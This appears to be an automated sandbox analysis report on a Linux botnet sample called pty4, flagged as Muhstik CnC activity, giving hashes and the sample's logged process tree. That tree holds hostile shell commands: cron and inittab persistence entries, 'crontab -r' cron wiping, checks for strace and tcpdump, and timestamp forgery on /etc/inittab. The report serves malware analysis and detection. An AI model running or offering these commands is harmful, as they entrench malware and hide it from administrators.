Analysis
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max time kernel
11949s -
max time network
126s -
platform
linux_amd64 -
resource
ubuntu1804-amd64-en-20211208 -
submitted
25-04-2022 23:53
Static task
static1
Behavioral task
behavioral1
Sample
pty4
Resource
ubuntu1804-amd64-en-20211208
0 signatures
0 seconds
General
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Target
pty4
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Size
90KB
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MD5
60f50372901a3ab6be093cb9922fd75c
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SHA1
03fabbbc736a5c59b889e3675331c96263d4a4a6
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SHA256
16b4093813e2923e9ee70b888f0d50f972ac607253b00f25e4be44993d263bd2
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SHA512
480ce401e171d29483b5ddf2b732f8959daba11c8b25538d179cc93795594676aaec3ae078cd312743a9cecf78ba533a58ced339fa63e2b5e53b9077933d0e6b
Score
10/10
Malware Config
Signatures
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suricata: ET MALWARE ELF/Muhstik Botnet CnC Activity
suricata: ET MALWARE ELF/Muhstik Botnet CnC Activity
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Reads runtime system information 4 IoCs
Reads data from /proc virtual filesystem.
Processes:
cpcpcpcpdescription ioc process /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp -
Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
Processes:
cpcpcpcpdescription ioc process /tmp/pty4 /tmp/pty4 cp /tmp/pty4 /tmp/pty4 cp /tmp/pty4 /tmp/pty4 cp /tmp/pty4 /tmp/pty4 cp
Processes
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./pty4./pty41⤵PID:580
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/bin/shsh -c "pidof -x strace > /dev/null"1⤵PID:581
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/bin/pidofpidof -x strace2⤵PID:582
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/bin/shsh -c "pidof -x tcpdump > /dev/null"1⤵PID:583
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/bin/pidofpidof -x tcpdump2⤵PID:584
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/bin/shsh -c "cat /etc/inittab | grep -v \"/tmp/pty4\" > /etc/inittab2"1⤵PID:587
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/bin/catcat /etc/inittab2⤵PID:590
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/bin/grepgrep -v /tmp/pty42⤵PID:593
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/bin/shsh -c "crontab -l | grep /tmp/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty4 > /dev/null 2>&1 &\") | crontab -"1⤵PID:588
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/usr/bin/crontabcrontab -l2⤵PID:591
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/bin/grepgrep /tmp/pty42⤵PID:594
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/bin/grepgrep -v "no cron"2⤵PID:595
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/usr/bin/crontabcrontab -2⤵PID:599
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/bin/shsh -c "crontab -r"1⤵PID:589
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/usr/bin/crontabcrontab -r2⤵PID:592
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/bin/shsh -c "echo \"0:2345:respawn:/tmp/pty4\" >> /etc/inittab2"1⤵PID:596
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:597
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/bin/catcat /etc/inittab22⤵PID:600
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/usr/bin/crontabcrontab -l1⤵PID:601
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/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:602
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/bin/rmrm -rf /etc/inittab22⤵PID:603
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:604
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/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:605
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/bin/shsh -c "/bin/uname -n"1⤵PID:609
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/bin/uname/bin/uname -n2⤵PID:614
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/bin/shsh -c "cp -f /tmp/pty4 /dev/shm/pty4"1⤵PID:610
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/bin/cpcp -f /tmp/pty4 /dev/shm/pty42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:615
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/bin/shsh -c "cat /etc/inittab | grep -v \"/dev/shm/pty4\" > /etc/inittab2"1⤵PID:617
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/bin/catcat /etc/inittab2⤵PID:619
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/bin/grepgrep -v /dev/shm/pty42⤵PID:622
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/bin/shsh -c "crontab -l | grep /dev/shm/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty4 > /dev/null 2>&1 &\") | crontab -"1⤵PID:618
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/usr/bin/crontabcrontab -l2⤵PID:620
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/bin/grepgrep /dev/shm/pty42⤵PID:621
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/bin/grepgrep -v "no cron"2⤵PID:623
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/usr/bin/crontabcrontab -2⤵PID:626
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/bin/shsh -c "echo \"0:2345:respawn:/dev/shm/pty4\" >> /etc/inittab2"1⤵PID:624
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:627
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/bin/catcat /etc/inittab22⤵PID:629
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/usr/bin/crontabcrontab -l1⤵PID:628
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/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:630
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/bin/rmrm -rf /etc/inittab22⤵PID:631
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:632
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/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:633
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/bin/shsh -c "cp -f /tmp/pty4 /var/tmp/pty4"1⤵PID:634
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/bin/cpcp -f /tmp/pty4 /var/tmp/pty42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:635
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/tmp/pty4\" > /etc/inittab2"1⤵PID:637
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/bin/catcat /etc/inittab2⤵PID:639
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/bin/grepgrep -v /var/tmp/pty42⤵PID:640
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/bin/shsh -c "crontab -l | grep /var/tmp/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty4 > /dev/null 2>&1 &\") | crontab -"1⤵PID:638
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/usr/bin/crontabcrontab -l2⤵PID:641
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/bin/grepgrep /var/tmp/pty42⤵PID:642
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/bin/grepgrep -v "no cron"2⤵PID:643
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/usr/bin/crontabcrontab -2⤵PID:645
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/usr/bin/crontabcrontab -l1⤵PID:646
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/bin/shsh -c "echo \"0:2345:respawn:/var/tmp/pty4\" >> /etc/inittab2"1⤵PID:647
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:648
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/bin/catcat /etc/inittab22⤵PID:649
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/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:650
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/bin/rmrm -rf /etc/inittab22⤵PID:651
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:652
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/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:653
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/bin/shsh -c "cp -f /tmp/pty4 /var/lock/pty4"1⤵PID:654
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/bin/cpcp -f /tmp/pty4 /var/lock/pty42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:655
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/lock/pty4\" > /etc/inittab2"1⤵PID:657
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/bin/catcat /etc/inittab2⤵PID:659
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/bin/grepgrep -v /var/lock/pty42⤵PID:661
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/bin/shsh -c "crontab -l | grep /var/lock/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty4 > /dev/null 2>&1 &\") | crontab -"1⤵PID:658
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/usr/bin/crontabcrontab -l2⤵PID:660
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/bin/grepgrep /var/lock/pty42⤵PID:662
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/bin/grepgrep -v "no cron"2⤵PID:664
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/usr/bin/crontabcrontab -2⤵PID:668
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/bin/shsh -c "echo \"0:2345:respawn:/var/lock/pty4\" >> /etc/inittab2"1⤵PID:663
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:665
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/bin/catcat /etc/inittab22⤵PID:666
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/usr/bin/crontabcrontab -l1⤵PID:669
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/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:670
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/bin/rmrm -rf /etc/inittab22⤵PID:671
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:672
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/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:673
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/bin/shsh -c "cp -f /tmp/pty4 /var/run/pty4"1⤵PID:674
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/bin/cpcp -f /tmp/pty4 /var/run/pty42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:675
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/run/pty4\" > /etc/inittab2"1⤵PID:677
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/bin/catcat /etc/inittab2⤵PID:679
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/bin/grepgrep -v /var/run/pty42⤵PID:680
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/bin/shsh -c "crontab -l | grep /var/run/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty4 > /dev/null 2>&1 &\") | crontab -"1⤵PID:678
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/usr/bin/crontabcrontab -l2⤵PID:681
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/bin/grepgrep /var/run/pty42⤵PID:682
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/bin/grepgrep -v "no cron"2⤵PID:685
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/usr/bin/crontabcrontab -2⤵PID:688
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/bin/shsh -c "echo \"0:2345:respawn:/var/run/pty4\" >> /etc/inittab2"1⤵PID:683
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:684
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/bin/catcat /etc/inittab22⤵PID:686
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/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:689
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/bin/rmrm -rf /etc/inittab22⤵PID:691
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/usr/bin/crontabcrontab -l1⤵PID:690
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:692
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/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:693
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